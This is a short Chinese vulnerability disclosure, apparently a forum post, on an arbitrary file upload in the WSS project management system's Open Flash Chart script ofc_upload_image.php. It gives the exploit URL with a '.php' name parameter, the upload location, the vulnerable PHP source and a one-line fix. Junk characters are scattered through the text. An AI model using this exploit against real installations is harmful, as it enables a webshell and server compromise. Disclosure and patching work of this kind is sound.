WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
! D2 K" |3 u% n, h, }+ [, m 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

2 y* x2 B6 K3 O# w9 H; {利用：
" q& w. d+ t3 F/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

( Y) M, X! W. c$ }- {$ B2 L1 V$ F3 CPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
6 a; ^# k& o4 i  v, a3 l3 t

% d7 R3 e( U5 A, A0 {* E+ C最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
4 z7 j1 _7 m$ @8 r! w
3 M! x. c! L, @& o<?php

//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

/*

1 n4 H6 |; {9 L9 g0 F0 u$ Uprint_r( $_GET );
print_r( $_POST );
6 R8 S3 ]( A6 \* O( D3 b1 ]: Xprint_r( $_FILES );
! _  v  v: S% m: ~
print_r( $GLOBALS );
+ z) t  }* U9 j: U9 o( R6 Wprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
9 V* u/ S2 K9 @3 r' `3 p- r; M% a! m
' c9 r( u0 @, T% f3 ?*/
. z6 Z/ r- e' d' A4 t8 X// default path for the image to be stored //
9 v9 d9 e4 `7 s. H$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
; }1 G2 J. J4 v  c
" Z  ?9 z0 Y: @; ]7 h// full path to the saved image including filename //
3 V3 M1 h' M. \& @) h7 d. x4 D$ z$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
: d6 A# y9 w- k* ?5 i! e" a3 `// print_r( $_POST );
+ L9 d- H, j. J$ H8 j0 ^* L// print_r( $_SERVER );
# A- J1 R3 T5 p0 {/ v+ u4 g$ k  @// echo $HTTP_RAW_POST_DATA;
, L, D! g. C' _2 \0 B
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
# ^6 x$ N9 R5 M5 W
$jfh = fopen($destination, 'w') or die("can't open file");
$ V/ f! p* t9 p$ k1 ~7 y/ R( nfwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
8 e* s0 }) ]  ]) Z
- ^) \3 P' |, G+ Q# e//
# n" q$ N/ I- i. Z5 i! ^1 ]: |2 f2 A// LOOK:
$ P1 M4 U- z% H8 c9 G. i//
exit();
% B# k: B  c5 x//
// PHP5:
//

' Y4 d7 s! `: L  p' P  `! _5 r
// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
* ?. ?- l- x( a& y
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
+ @6 y6 n! s% [, g# \5 N. h% y2 p- t
// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
! ^: a0 ^3 `: G+ o. ^8 v5 Xif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
' p% [" X+ m) d9 |    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
7 w% N9 F4 N6 Z' r# o& {} else {
    echo "FILE UPLOAD FAILED";
}
2 {" G- s: W! m% b
0 D2 i. G7 q% g8 e0 O& [5 ?
?>

) n$ Y3 |" Z- a+ F0 r
, d2 ]9 `6 k7 B3 |9 x6 e- |
# _& w! L' r* k( }

0 x/ p  M7 e4 e& l+ F4 ^+ I3 F
5 Y$ t% _: b! U) o) Z/ f( n5 M修复方案：
6 S2 q/ h/ d3 u9 i这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞